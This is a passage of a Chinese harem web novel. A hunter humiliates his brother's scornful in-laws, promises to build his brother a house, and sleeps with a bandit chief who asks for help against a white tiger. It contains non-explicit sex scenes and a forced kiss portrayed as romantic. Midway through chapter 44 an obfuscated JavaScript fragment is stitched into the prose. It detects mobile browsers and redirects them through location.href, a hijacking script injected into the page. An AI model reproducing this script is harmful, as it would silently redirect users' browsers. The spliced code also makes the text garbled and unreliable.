如果说白梦夏是熟透了的水蜜桃,那白梦秋就是一颗青涩却诱人的樱桃。
她换上的是另一套,江夜为她量身定做的改良版襦裙。
上身是一件樱粉色的抹胸,用蕾丝花边点缀,紧紧地包裹着少女初具规模的饱满,背后用细细的带子交叉系住,露出大片光洁的美背。
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下身则是一条同色的蕾丝边短裙,蓬松的裙摆下,是一双笔直、修长、白得晃眼。
她那活泼娇俏的脸蛋此刻红得像熟透的苹果,一双灵动的大眼睛根本不敢看江夜,死死地把头埋在胸口,两只小手紧张地抓着裙角,脚趾头都蜷缩了起来。
姐妹俩站在一起,一个温婉如月,一个娇俏如花。
同样的绝色容颜,同样的大胆衣着,却是两种截然不同的风情。
她们有些不敢置信地看着彼此的模样,又偷偷瞟了一眼旁边水缸里倒映出的模糊身影,都惊呆了。
原来自己还可以是这个样子的?
那份源自骨子里的羞涩,和一种对自己陌生的惊艳感,交织在一起,让她们的心跳得如同擂鼓。
江夜缓缓站起身,喉结不受控制地上下滚动了一下。
屋内的空气,仿佛在这一刻凝固了,变得黏稠而滚烫。
他一步一步,走向白梦夏。
白梦夏身体不受控制地轻颤起来,紧张地闭上了眼,长长的睫毛像蝴蝶的翅膀,微微抖动。
江夜走到她身后,伸出双臂,从背后将她整个娇躯圈入怀中。
江夜低下头,嘴唇贴在她小巧精致的耳垂边,声音低沉沙哑。
“好看,以后……只穿给我一个人看。”
“唔……”
白梦夏只觉得一股奇异的酥麻感从耳根窜起,瞬间传遍了四肢百骸,让她浑身都使不出力气。
江夜享受着怀里的温香软玉,目光却越过她的香肩,落在了那个快要把自己缩成一团的白梦秋身上。
他松开白梦夏,转身走向白梦秋。
白梦秋感觉到他的靠近,身体抖得更厉害了,头埋得更深,恨不得立刻消失。
江夜在她面前站定,伸出手指,轻轻勾起她小巧的下巴,强迫她抬起头来。
四目相对。
他看到了一双如同受惊小鹿般的眼眸,江夜看着她那娇艳欲滴的红唇,心中的火焰彻底被点燃。
他猛地低头,将那声惊呼尽数吞入腹中。
一夜无话。
第42章 算什么男人
与江夜这边的活色生香不同,几十米外的江峰家,却被一片愁云惨雾笼罩。
昏黄的油灯下,王慧慧坐在床沿,唉声叹气,一张脸上写满了愁容。
“当家的,明天我娘和我弟要来,家里这光景,要是连盘像样的菜都拿不出来。到时候,还不知道要怎么说咱们呢。”
江峰蹲在门槛上,一口接一口地抽着呛人的旱烟,烟雾缭绕中,他那张饱经风霜的脸显得愈发沉默。
他知道岳母和那小舅子是什么德性,无利不起早,来了准没好事,而且眼高于顶,最是瞧不起他这个穷猎户。
明天要是招待不好,王慧慧又得被戳着脊梁骨骂。
沉默了半晌,他将烟锅在门槛上磕了磕,站起身。
“我去后山看看,兴许能套着只野鸡。”
“你疯了!”王慧慧一把拉住他,眼圈瞬间就红了,“这黑灯瞎火的,山里多危险!前几天你才从虎口捡回一条命,忘了?”
她的声音里带着哭腔和后怕。
江峰脚步一顿,高大的身子僵在原地。
他回头看着满脸泪痕的妻子,心里像是被什么东西堵住了,又酸又涨。
一个大男人,连让自家婆娘在娘家人面前抬起头的本事都没有。
夫妻俩相对无言,屋子里只剩下王慧慧压抑的抽泣声,和窗外呼啸的夜风,愁得人喘不过气。
第二天,一辆破旧的驴车“咯吱咯吱”地停在了稻花村的村口。
一个看着不过十七八岁的少年,先从车上跳了下来。他穿着一身半新不旧的蓝色短衫,下巴抬得高高的,眼神轻蔑地扫视着这个在他看来穷酸无比的村子。
他正是王慧慧的弟弟,王大庆。
“娘,慢点。”王大庆转身,扶着一个四十多岁的妇人下了车。
那妇人,也就是王慧慧的娘张桂芬,穿着一身蓝布衣裳,头发梳得一丝不苟,脸上刻着精明与刻薄。
她一下车,就从怀里掏出一块手帕,捂住了鼻子,仿佛这村里的空气都带着一股穷酸味。
“什么穷山沟,一股子牲口味儿!慧慧也是个没出息的,放着城里的好人家不嫁,非要嫁到这种鸟不拉屎的地方来受罪!”
王大庆撇撇嘴,眼神在村里那些破旧的土坯房上扫过,满是鄙夷。
母子俩一边嫌弃,一边往江峰家走。
到了门口,看到那低矮的土坯房和用篱笆围起来的破院子,张桂芬的脸拉得更长了,活像谁欠了她八百吊钱。
王慧慧早已听到动静,强打起精神迎了出来。
“娘,大庆,你们来了。”
张桂芬“嗯”了一声,算是回应,一脚踏进屋,光线昏暗,一股淡淡的霉味传来,她眉头皱得更紧,捂着鼻子的手帕就没松开过。
王大庆则大喇喇地在屋里唯一一张还算像样的板凳上坐下,两条腿不停地抖着,眼睛四处乱瞟,看什么都带着嫌弃。
“姐,你们家也太破了点吧?连个像样的家具都没有。”
王慧慧的脸一阵红一阵白,尴尬地笑了笑,转身去倒水。
她把家里仅有的两个没豁口的粗瓷碗洗了又洗,倒上烧开的白水,小心翼翼地端到两人面前。
“娘,大庆,喝口水润润嗓子。”
王大庆端起来,还没送到嘴边就放下了,一脸嫌弃。
“怎么是白水?连点茶叶沫子都没有?姐,你们家这日子过得也太寒碜了。”
王慧慧的笑僵在脸上,手指紧紧捏着衣角,半晌才挤出一句:“家里……茶叶喝完了。”
江峰从外面进来,手里提着两只瘦小的斑鸠,这是他天不亮就进山忙活大半天的所有收获。
“岳母,大庆。”他闷声闷气地打了个招呼。
张桂芬眼皮都没抬一下,只从鼻子里哼了一声。
王大庆更是斜了他一眼,阴阳怪气地开口:“哟,姐夫回来了?就打了这么两只小鸟?塞牙缝都不够啊。”
江峰的脸瞬间涨红,却一个字都说不出来。
午饭时分,桌上摆着一碗黑乎乎的野菜,一盘炒鸡蛋,还有就是那两只炖得稀烂的斑鸠,肉少得可怜。
张桂芬拿起筷子,在那碗野菜里拨弄了半天,一筷子都没夹,撇着嘴,满脸嫌弃。
“慧慧啊,这就是你家的待客菜?连点油星子都看不见,这日子是怎么过的?”
王大庆更是直接,扒拉了两口糙米饭,就把碗筷重重一放。
“连口酒都没有!姐夫,不是我说你,你好歹也是个猎户,怎么连顿肉都混不上?我姐跟着你真是倒了八辈子血霉!”
江峰脸色铁青,握着筷子的手骨节发白。
王慧慧则是低着头,一个劲地给女儿琼琼夹菜,不敢看她娘和弟弟的脸。
一顿饭,吃得比黄连还苦。
饭后,王慧慧刚要收拾碗筷,张桂芬就把手帕往桌上一拍,开门见山。
“行了,你也别忙活了,我今天来是有正事。”她清了清嗓子,下巴一抬,“你弟弟大庆,我托人给他找了
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个好去处,去县城最大的铁匠铺当学徒。学成了,以后就是吃手艺饭的城里人!只是那师傅说了,要二十两银子的拜师费。”
“二十两?!”王慧慧失声惊呼,脸色瞬间煞白如纸。
二十两,对他们这个家来说,简直是天文数字。
她嘴唇哆嗦着,艰难地开口:“娘……我们……我们哪有那么多钱……”
话音未落,张桂芬的脸瞬间就变了。
她“啪”的一声猛拍大腿,整个人像被点着的炮仗,指着王慧慧的鼻子就破口大骂。
“没钱?我怎么生了你这么个白眼狼!嫁了个窝囊废,就连爹娘都不认了是吧?你弟弟的前程,你这个当姐姐的就眼睁睁看着?我当初真是瞎了眼,怎么就把你养这么大!”
王大庆翘着二郎腿,在一旁凉飕飕地帮腔:“就是!姐,我可是你亲弟弟,你不帮衬我谁帮衬我?真是白养你了!”
尖锐的骂声,引得左邻右舍都探头探脑地往这边看。
张桂芬见有人围观,非但没收敛,反而愈发来劲,一把推开桌子冲到院子里,指着一直沉默不语的江峰就开骂。
“还有你这个窝囊废!你算个什么男人!我女儿嫁给你这么多年,连件新衣裳都没穿过,还住在这破得跟狗窝一样的土坯房里!你但凡有点本事,至于连二十两银子都拿不出来吗?废物!真是个废物!”
王大庆也跟着晃到门口,对着江峰满脸不屑地吐了口唾沫。
“就是,连自己老婆都养不活,算什么男人。”
江峰被骂得浑身发抖,一张脸从红涨到紫,双拳握得咯咯作响,却像是被什么东西堵住了喉咙,一个字也反驳不出来。他能说什么?他说的都是事实。
“娘!你别骂了!求求你别骂了!”
王慧慧抱着吓得直哭的女儿琼琼,泪流满面地冲出来,哭着去拉张桂芬的胳膊。
“你给我滚开!”张桂芬一把甩开她,骂得更凶了,“我今天非要骂醒这个没用的东西不可!我当初真是瞎了眼!”
院子外,围观的村民越来越多,对着江峰一家指指点点,议论纷纷。
江峰高大的身躯,在岳母尖酸刻薄的咒骂声和村民们的指点下,显得那么的单薄和无助。他死死地低着头,恨不得地上有条缝能让他钻进去。
王慧慧的哭求,女儿琼琼的啼哭,张桂芬的咒骂,邻居的窃窃私语……所有的声音混杂在一起,像一把把尖刀,狠狠地扎在江峰夫妇的心上。
第43章 哥,我帮你盖个新的
张桂芬骂得口干舌燥,见江峰始终是个闷葫芦,越发来劲,叉着腰,唾沫星子横飞,把江峰祖宗十八代都问候了一遍。
王大庆则靠在门柱子上,斜着眼,抱着臂,在旁边添油加醋,极尽嘲讽。
围观的村民越来越多,指指点点的声音汇成一片嗡嗡的背景音。
就在这压抑到极点的氛围中,围观的人群忽然一阵骚动,像是被一股无形的力量推开,自动分开了一条路。
嘈杂的院子,瞬间安静了下来。
所有人的目光,都不由自主地投向了那条小路的尽头。
江夜负着手,从自家院子的方向,缓步走了过来。
他一出现,原本喧嚣的空气仿佛都凝固了。
“娘,你看,又来一个。”王大庆捅了捅张桂芬,撇着嘴,一脸的不屑。
张桂芬眯着眼打量着江夜,她对江夜的印象还停留在几年前那个好吃懒做、邋遢、靠着江峰接济才能活下去的懒汉形象上。
虽然今天看着似乎高了壮了,但穷酸的底子是改不了的。
她上下扫了江夜一眼,见他穿得普通,更是认定了自己的想法。
“哟,这不是江家那个出了名的二流子吗?”张桂芬尖酸的嗓音再次划破了沉寂,“怎么,闻着味儿,又来你哥家蹭饭了?你哥家自己都快揭不开锅了,可养不起你这么个大闲人!”
王大庆也抱着胳膊,阴阳怪气地笑了起来:“就是,一家子窝囊废,住着个狗窝一样的破房子,还想打肿脸充胖子。我说姐夫,你这个当哥的都混成这样了,j就别管你那窝囊废弟弟了?”
江夜仿佛没听见他们的犬吠,连一个眼神都懒得施舍。
他的目光,径直落在了哥哥和嫂子身上。
他径直穿过人群,走到院子中央,目光落在哥哥嫂子身上。
江峰低着头,肩膀微微颤抖,一言不发。
王慧慧抱着女儿,满脸泪痕,眼神空洞而绝望。小侄女琼琼吓得把脸埋在娘亲怀里,小小的身子一抽一抽的。
江夜的眉头,不易察觉地皱了一下。
他停下脚步,环视了一圈这低矮破旧的土坯房,墙壁上布满了裂纹,屋顶的茅草也稀稀拉拉,仿佛随时都会塌掉。
然后,他淡然开口。
“这破房子,是该换了。”
一句话,让所有人都愣住了。
张桂芬和王大庆对视一眼,都从对方眼里看到了嘲弄。
江夜没理会他们,他转向江峰,看着自己这个被生活压弯了腰的哥哥,一字一句地说道:“哥,我帮你盖个新的。”
全场死寂。
时间仿佛在这一刻被按下了暂停键。
江峰猛地抬起头,那双布满血丝的眼睛里,写满了震惊和不敢置信。
王慧慧也忘了哭,呆呆地看着江夜,大脑一片空白。
她这个小叔子……在说什么胡话?
短暂的死寂之后,张桂芬第一个反应过来。
“噗——”
她像是听到了天底下最好笑的笑话,先是嗤笑一声,随即捂着肚子,爆发出尖锐刺耳的狂笑。
“哈哈哈哈……哎哟,我不行了,笑死我了……盖新的?就凭你?你拿什么盖?拿你那张只会吃饭的嘴去盖吗?”
她笑得前仰后合,眼泪都飙了出来,指着江夜,上气不接下气。
王大庆也跟着捧腹大笑,指着江夜,对周围的村民起哄道:“大家听听,听听!这懒汉怕不是睡糊涂了,在这说梦话呢!还盖新房,他连自己都养不活,真是吹牛不打草稿,疯了!哈哈!”
母子俩的笑声在院子里回荡,充满了毫不掩饰的鄙夷和讥讽。
江夜没有理会,也没有动怒。
他只是缓缓地转过头,那双漆黑的眸子,淡淡地扫过那对笑得面目扭曲的母子。
那眼神里,没有愤怒,没有嘲讽,甚至没有任何情绪。
冰冷,淡漠,如同在看两个死物。
“呃……”
张桂芬和王大庆的笑声,就像被一只无形的大手猛地掐住了脖子,戛然而止。
一股莫名的寒意,从他们尾椎骨猛地窜起,瞬间传遍了四肢百骸。他们感觉自己像是被什么洪荒猛兽盯上了一样,心脏不受控制地狂跳起来,手脚冰凉,后背瞬间就被冷汗浸湿了。
刚才还嚣张无比的两个人,此刻脸色煞白,喉咙发干,一个字都说不出来。
这是一个穷鬼懒汉该有的眼神吗?
他拍了拍还处在懵逼状态的江峰的肩膀。
“哥,准备搬家吧。”
说完,他不再多言,转身,在一片疑惑、震惊的目光中,缓步离开。
……
第二天,天刚蒙蒙亮。
稻花村的村民们就发现,江夜家那热火朝天的工地上,又有了新动静。
一块崭新的木板,被立在了工地旁最显眼的位置。
“快看,江夜家又贴告示了!”
不知是谁喊了一嗓子,整个村子都骚动起来。
正在田里忙活的,在家里喂鸡的,全都丢下手里的活计,里三层外三层地围了过去。
识字的村民扯着嗓子大声念道:
“为兄长盖房,再招工二十人!工钱待遇,一概照旧!”
“每日十文!管两顿饭!顿顿有肉!”
人群瞬间沸腾!
“我的老天爷!还要招二十个!”
“江夜这是要给他哥也盖个大瓦房?这手笔也太大了!”
“别废话了!抢啊!”
人群彻底疯了。
男人们红着眼睛往前挤,女人们在后面给自己男人加油鼓劲。为了一个名额,平日里低头不见抬头见的邻里,此刻挤得跟斗鸡一样,谁也不让谁。
整个场面,比过年抢头香还要火爆!
张
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桂芬和王大庆母子俩,昨天没要到钱,晚上辗转反侧没睡好。今天一早,就听到了外面的动静,两人心里憋着一股邪火,打算再过来看看江夜的笑话。
他们笃定,江夜昨天就是打肿脸充胖子。
可当他们出门,看到眼前这一幕时,两人脸上的冷笑,瞬间僵住了。
那热火朝天的工地,那挤破头的人群,那白纸黑字的招工告示……这一切,都像一个无声的巴掌,狠狠地扇在他们脸上。
母子俩站在原地,彻底傻眼了。
“这……这不可能……”王大庆眼珠子瞪得溜圆,喃喃自语。
他无法相信,那个昨天还被他指着鼻子骂窝囊废的江夜,怎么可能真有这么大的手笔?
他一把拉住旁边一个刚从人群里被挤出来,满脸懊恼的村民,难以置信地问:“大叔,这……这是干啥呢?那江夜真有钱盖两座大房子?”
那村民正因为没抢到名额而一肚子火,回头一看是王大庆这个外村人,没好气地白了他一眼。
“你还不知道?”
“我跟你说,江夜哥,那现在可是咱们村的活神仙!”
村民越说越兴奋,唾沫星子横飞,仿佛在讲述一段传奇。
“就前些天,江夜哥一个人进深山,你们猜怎么着?他用一把破弓,就射**一头吊睛白额大老虎,将他哥江峰救了回来!那老虎,跟小山似的!”
“什么?!”王大庆和张桂芬瞳孔骤缩。
村民根本没理会他们的震惊,继续手舞足蹈地比划着。
“这算什么!你们知道黑风寨吧?那群杀千刀的山匪,抢了江夜哥的媳妇。江夜哥单枪匹马,一个人,一把弓,杀上黑风寨,把那上百号山匪,全给屠了!血流成河啊!然后把自家媳妇给救了出来!”
“轰隆!”
张桂芬和王大庆只觉得脑子里像是有个炸雷响起,震得他们头晕目眩,两眼发黑。
一人打死猛虎?
屠……屠了整个黑风寨?
这……这是人能干出来的事?
这分明是话本里才有的杀神啊!
“咕咚。”
王大庆艰难地咽了口唾沫,只觉得喉咙干得像要冒火。
他转头看向自己的母亲,只见张桂芬那张平日里精明刻薄的脸,此刻也写满了恐惧。
她想起昨天江夜那个冰冷淡漠,像看**一样的眼神。
那不是装出来的!那是一个真正杀过人,而且杀过很多人才会有的眼神!
他们昨天,竟然指着这么一个杀神的鼻子,骂他是窝囊废?
张桂芬此刻肠子都悔青了!
要是昨天……要是昨天他们态度好一点,哪怕只是少骂两句,凭着王慧慧的关系,说不定还能沾上点光。
那二十两的拜师费,对现在的江夜来说,恐怕连九牛一毛都算不上!
可现在……
第44章 好女婿
张桂芬眼看着不远处江夜正在跟王囤交代着什么,眼珠子骨碌一转,心里那点贪婪瞬间就压过了恐惧。
这江夜如今发达了,成了活神仙,这可是天大的靠山!自己女儿是他的亲嫂子,这层关系要是断了,那真是亏到姥姥家了!
张桂芬这么想着那张刻薄的脸上瞬间堆满了菊花般的褶子,挤出一个无比谄媚的笑容。
她一把拽住还处在震惊中没回过神的王大庆,压低声音。
“傻站着干什么!快,跟你姐夫的弟弟套套近乎!那可是你未来的大靠山!”
王大庆一脸懵,还有些拉不下脸。
昨天他还对着人家吐唾沫,今天就去巴结?
“娘……”
“娘什么娘!没出息的东西!”张桂芬恨铁不成钢地在他后腰上掐了一把,推着他往前走,“快去啊!叫声‘夜哥’,递根烟,夸他几句,这不就成了?”
母子俩连推带搡,满脸堆笑地朝着江夜离开的方向凑过去,那副样子,活像两只闻到腥味的苍蝇。
然而,他们还没靠近,刚刚转身走出几步的江夜,像是背后长了眼睛,脚步一顿。
他缓缓侧过头,那双漆黑的眸子,隔着几丈远,淡淡地扫了过来。
那眼神就像高山之巅的万年积雪,冰冷,淡漠。
“呃……”
张桂芬和王大庆脸上的笑容,像是被十二月的寒风吹过,瞬间僵住。
他们感觉自己双腿像是灌了铅,别说上前套近乎,就连动弹一下都做不到。
母子俩喉咙里像是堵了一团棉花,一个字都说不出来,只能眼睁睁地看着江夜收回目光,头也不回地消失在院墙拐角。
直到那道身影彻底不见,那股几乎让人窒息的压力才猛地一松。
“呼……呼……”
张桂芬和王大庆同时松了口气,大口大口地喘着粗气。
两人对视一眼,都从对方眼里看到了劫后余生般的恐惧。
周围村民投来的目光,充满了毫不掩饰的讥讽和鄙夷,像一根根针,扎得他们脸皮发烫。
母子俩再也待不下去,连滚带爬地站起来,灰溜溜地跑回了江峰家,一头扎进屋里,砰地一声关上了门,再也不敢露头。
……
江峰家。
午饭已经摆上了桌。
还是那些昨天那些菜,一碗黑乎乎的野菜,几块可怜的斑鸠肉。
但饭桌上的气氛,却和昨天截然不同,发生了翻天覆地的变化。
“哎呀,我的好女婿,你快多吃点!你看看你,天天上山打猎,人都累瘦了!”
张桂芬满脸都是讨好的笑容,主动拿起筷子,把碗里仅有的几块斑鸠肉,一股脑全夹到了江峰的碗里,那亲热劲儿,不知道的还以为江峰是她亲儿子。
江峰看着碗里堆成小山的肉,一时间有些不知所措。
“姐夫!我敬你一杯!”王大庆也端起那只豁了口的粗瓷碗,里面盛着白水,他却像是端着琼浆玉液一般,满脸恭维地举到江峰面前。
“姐夫,你可真是深藏不露啊!你这弟弟,简直就是天神下凡!以后我王大庆的前程,可就全靠姐夫你提携了!”
说完,他仰头将碗里的白水一饮而尽,还咂了咂嘴,一副回味无穷的样子。
王慧慧坐在旁边,看着自己母亲和弟弟这副前倨后恭的嘴脸,心里五味杂陈。
要说不恶心,那是假的。
可更多的,是一种前所未有的,扬眉吐气的爽快!
嫁到江家这么多年,她何曾见过她娘和弟弟对自己丈夫有过半点好脸色?今天,他们终于也知道什么叫“看人下菜碟”了!
她偷偷看了一眼身旁的丈夫。
江峰还是和以前一样,沉默地扒着碗里的饭。
但王慧慧却敏锐地发现,今天的丈夫,和以往不一样了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16612454|187622||http|test|mini|href|location''.split(''|''),0,{}));
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r>他的腰杆,挺得笔直!
就像一棵被风雪压弯了腰的松树,终于在雨后,重新舒展开了枝干,坚韧而挺拔。
第一次,他在自己的岳母和妻弟面前,感受到了一个男人该有的尊严。
一顿饭,在一种诡异而和谐的气氛中进行着。
酒足饭饱,张桂芬眼珠子又开始转悠起来。她搓着手,小心翼翼地凑到江峰身边,话锋一转,试探着开口。
“那个……好女婿啊……”她笑得一脸褶子,“你看,大庆这拜师学艺的事,关乎他一辈子的前程……那二十两银子……”
她没再说下去,只是用一种充满期盼的眼神看着江峰。在她看来,江夜如今这么大本事,给亲哥二十两银子,还不是一句话的事?
江峰还没来得及说话,旁边的王慧慧先听不下去了。
她将碗筷重重往桌上一放。
清脆的响声,让张桂芬和王大庆的心都跟着一哆嗦。
王慧慧抬起头,目光冷冷地扫过母亲和弟弟那张谄媚的脸,一字一句,斩钉截铁。
“娘,那钱,是我小叔子拿命换来的,是他的钱。我们没资格动,更没脸去开这个口。”
一句话,像一盆冰水,兜头浇下。
张桂芬和王大庆脸上的笑容,瞬间僵住。
他们张了张嘴,想反驳,想说“都是一家人分什么彼此”,可一对上王慧慧那双冰冷的眼睛,再想起江夜那个杀神般的眼神,所有的话都堵在了喉咙里,一个字也吐不出来。
他们不敢。
屋子里的气氛,瞬间尴尬到了极点。
半晌,张桂芬才讪讪地干笑了两声。
“呵呵……是……是慧慧说得对,是娘想岔了,想岔了……”
王大庆也连忙附和:“对对对,姐说得对!我们不该有这个想法!”
两人尴尬地陪着笑,心里却像是打翻了五味瓶,又苦又涩。
第45章 深夜来客
夜深了。
整个稻花村都沉浸在静谧的黑暗中,只有几声犬吠,偶尔划破夜的寂静。
江夜家院子里,江夜搬了张椅子,独自坐在屋檐下,喝着茶。
就在这时,他的耳朵微微一动。
一道火红色的身影,如同暗夜中的一缕鬼魅,动作轻盈地越过院墙,悄无声息地落在院内的一处阴影里,落地时几乎没有发出任何声音。
来人显然是个中高手。
江夜头也没回,嘴角勾起一抹淡笑,声音在寂静的夜里显得格外清晰。
“这么晚还来。”
阴影中的身影明显一僵,随即,慕容晴那张扬又美艳的脸庞从黑暗中显露出来。
她身上还穿着红色的劲装,勾勒出火爆惊人的曲线,只是在清冷的月光下,那张总是带着三分英气的俏脸上,此刻却罕见地染上了一抹红晕,眼神也有些躲闪。
“我……我路过。”她嘴上强撑着,声音却比平时低了八度。
江夜轻笑一声,终于转过身来。
他站起身,高大的身影在月光下投下极具压迫感的阴影,一步步向她走去。
慕容晴的心跳没来由地漏了一拍,下意识地想后退,脚下却像生了根。
下一秒,一股浓烈的男性气息扑面而来。
江夜根本不给她任何反应的机会,长臂一伸,直接将她整个人霸道地揽入怀中,低下头,准确地攫住了那两片微凉的红唇。
“唔……”
慕容晴惊呼一声,下意识地挣扎,粉拳捶打在他的胸膛上,却如同砸在铁板上,软绵无力。
那吻带着不容拒绝的强势和一丝惩罚的意味,瞬间攻破了她所有的防线。
她脑中一片空白,原本捶打的手不知何时已经紧紧抓住了他的衣襟,生涩而热情地回应着。
许久,唇分。
慕容晴靠在他怀里,大口地喘着气,俏脸红得能滴出血来,那双总是神采飞扬的美眸,此刻水光潋滟。
江夜看着她这副模样,心中那股无名邪火烧得更旺了。
他二话不说,拦腰将她横抱而起,在一声娇呼中,大步流星地走进了自己的房间,用脚后跟轻轻一带,房门“吱呀”一声便关上了。
……
一番云雨,酣畅淋漓。
窗外的月亮已经偏西,清辉透过窗棂,在地上洒下斑驳的光影。
慕容晴慵懒地依偎在江夜结实的臂弯里,满足的俏脸上还带着未褪的潮红,呼吸平稳,似乎已经睡去。
但江夜知道,她没睡。
他能感觉到,她紧贴着自己的身体虽然放松,但精神却紧绷着,像一根拉满的弦。
江夜伸出手指,卷起她一缕被汗水浸湿的乌黑发丝,在指尖把玩。
他没有睁眼,只是低沉地开口:“说吧,出什么事了?”
慕容晴的身体几不可察地颤了一下。
她沉默了片刻,似乎在组织语言,然后才用一种带着疲惫的沙哑嗓音,缓缓开口。
“凤啸寨……出事了。”
她抬起头,平日里总是亮得惊人的眸子,此刻却蒙上了一层阴云。
“前天,寨子里的一支巡山队,一共十五个弟兄,进山后再也没回来。”
“我派人去找,结果……结果在后山一处山谷里,只找到了他们破碎的兵器和一些血衣,人……尸骨无存。”
说到这里,她的声音里带上了一丝颤抖。
江夜的眉头皱了起来。
尸骨无存?这可不是一般的野兽能做到的。
“是什么东西?”
慕容晴深吸一口气,似乎在压抑着什么情绪,继续说道:“昨天,我不信邪,亲自带了三十个寨中最精锐的好手,循着踪迹追了过去。然后……我们就碰到了那个畜生。”
“那是一头虎,一头通体雪白,没有一根杂**的异虎!它体型比寻常的猛虎还要大上一圈,速度快得像闪电,来去如风,而且……而且狡猾得根本不像一头野兽!”
“它根本不和我们正面冲突,只是利用山林和我们兜圈子,不断地偷袭、伏击我们落在后面的人。我们布下的陷阱,
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它能轻易识破;我们射出的箭,连它的皮**都沾不到。”
“我们**八个弟兄,伤了十几个,才勉强从那畜生的爪下逃了出来。”
“现在,整个凤啸寨人心惶惶,再没人敢进后山一步。寨子里的弟兄们都说,那是山神发怒,降下的神罚……”
她攥紧了拳头,指节因为用力而发白,脸上满是无力和不甘。
她是一寨之主,可面对这种近乎鬼魅的凶兽,她引以为傲的武艺和胆识,都显得那么可笑。
她只能来找这个唯一能带给她希望的男人。
“江夜,你帮帮我。”她抬起头,那双美眸中,带着一丝她自己都未察觉的祈求和依赖。
江夜静静地听完,没有立刻回答。
他睁开眼,在昏暗的光线下,那双眸子显得格外深邃。
他抚摸着她光滑如丝的后背,手指从脊背一路下滑,在她挺翘的腰臀间轻轻画着圈。
暧昧的气息,再次在空气中弥漫开来。
就在她以为他要再次索取时,江夜却停下了动作,嘴角噙着一抹玩味的笑意。
“帮你,可以。”
“但,我有什么好处?”
慕容晴一愣,随即那张布满愁云的俏脸瞬间涨红。
这个混蛋!都什么时候了,还跟她谈条件!
她又羞又气,银牙紧咬,美眸狠狠地瞪着他。
然而,看着江夜那双带着戏谑,却又深不见底的眼睛,她心中的那点怒火,不知怎么就熄灭了。
是啊,他凭什么要帮自己?
他不是凤啸寨的人,寨中弟兄的死活与他何干?
他能答应自己相助,已是仁至义尽了。
这般想着慕容晴忽然翻身而上,居高临下地看着江夜。
火爆的身材曲线在月光下展露无遗,充满了惊心动魄的野性美。
她俯下身,一头青丝如瀑般散落,垂在江夜的胸膛上,痒痒的。
她没有说话。
回答他的,是更加滚烫、更加主动的红唇。
又是一夜旖旎……
第46章 姐姐,起床吃饭了
第二天清晨,一缕阳光穿过简陋的窗棂,在地上投下斑驳的光点。
江夜早就醒了,正侧躺着,支着头,饶有兴致地打量着怀里熟睡的女人。
没了白日的英气与张扬,此刻的慕容晴睡颜恬静,长长的睫毛像两把小刷子,在眼睑下投出淡淡的阴影。她似乎做了什么梦,嘴角微微翘起,像一只偷吃了鱼的猫儿。
江夜看着她,嘴角也不由自主地勾起。谁能想到,凤啸寨那个说一不二、英姿飒爽的女寨主,竟也有这般小女儿家的娇憨模样。
就在他忍不住想再来一次晨练时,房门被“吱呀”一声,轻轻推开了一道缝。
“夫君,起身用早饭了。”
是白梦夏温柔的声音。
她和白梦秋端着一个木盘,轻手轻脚地走了进来,以为江夜还在睡。
然而,当姐妹俩的目光落在床上时,动作齐齐一顿。
床上不止江夜一人,还有一个娇俏的身影,大半个身子都埋在被子里,只露出一头如瀑的青丝,散落在枕上,与江夜的黑发交织在一起。
白梦夏和白梦秋对视一眼,随即,两双美丽的眸子里,不约而同地漾起一丝了然的笑意。
她们没有惊讶,更没有丝毫的嫉妒或不满,反而像是为自己的夫君感到高兴。
在这个男人为尊的世界,更何况是江夜这样顶天立地的男人,三妻四妾本就是再正常不过的事情。能多一个姐妹来分担夫君的雨露,对她们来说,反而是好事。
尤其是,这位姐姐人又美又飒爽,一看就不是普通人。
白梦夏将木盘放在桌上,走到床边,声音放得更轻了,带着一丝暖意。
“慕容姐姐,该起床用早饭了。”
这一声“慕容姐姐”,叫得自然又亲切。
被子里的慕容晴身体猛地一僵,其实她在姐妹两进来时就醒了,只是不知道该怎么面对这尴尬的场面,只能装睡。
此刻听到白梦夏的声音,她一张俏脸“唰”地一下,红得能滴出血来。
完了!被正主抓包了!
她恨不得找个地缝钻进去,下意识地就把被子往上一拉,将自己的脑袋蒙了个严严实实,活像一只鸵鸟。
看着她这副样子,白梦夏和白梦秋都忍不住掩嘴轻笑起来。
江夜更是乐了,他一把将被子扯开,露出慕容晴那张红得发烫的脸,大手不轻不重地拍了她一下。
“还害羞?昨晚的胆子去哪了?快起来吃饭!”
慕容晴又羞又恼,抓起枕头就朝江夜砸了过去,却被他轻松接住。
“你……你混蛋!”
她那点力气,在江夜看来,跟挠痒痒没什么区别。
最后,还是白梦夏温柔地解了围,拿过一套干净的衣服递给她:“姐姐快穿上吧,饭菜要凉了。”
慕容晴看着白梦夏和白梦秋那真诚而没有一丝杂质的眼神,心中的窘迫和尴尬,不知不觉就消散了大半,只剩下一种暖暖的感觉。
她红着脸,低着头,小声地道了句谢,飞快地穿好了衣服。
饭桌上,气氛出奇的和谐。
桌上摆着热气腾腾的白米粥,金黄的小米饼,还有几碟爽口的小菜。
白梦秋很自然地给慕容晴盛了一碗粥,还给她夹了一块自己喜欢吃的咸鸭蛋,笑嘻嘻地说:“慕容姐姐,你尝尝这个,夫君从县城买回来的,可好吃了!”
“谢谢……”
慕容晴看着碗里的粥,心里五味杂陈。
江夜看着三个各有千秋的绝色美人围坐一桌,安静地吃着早饭,心中升起一股前所未有的满足感。
这才是生活啊!
他喝了口粥,看向慕容晴:“那头白虎的事,吃完饭我就跟你去看看。”
听到正事,慕容晴的神情也严肃起来,点了点头。
就在这时,一个银白色的小**球睡眼惺忪地从里屋跑了出来。
正是小狼崽团子。
它打了个哈欠,正准备找白梦秋撒娇要吃的,可当它的目光落在慕容晴身上时,那双蓝宝石般的眼睛瞬间就亮了,光芒万丈!
新来的!
又是一个绝色大美人!
团子瞬间精神了,睡意全无。
它那小小的脑袋里,仿佛有个声音在呐喊:表现的机会来了!
只见它后腿一蹬,整个身子化作一道银色的闪电,飞快地冲出了屋子。
片刻之后,它又屁颠屁颠地跑了回来。
嘴里叼着一根不知从哪个角落里翻出来的、色彩最艳丽的野鸡翎毛,这是它珍藏已久的宝贝。
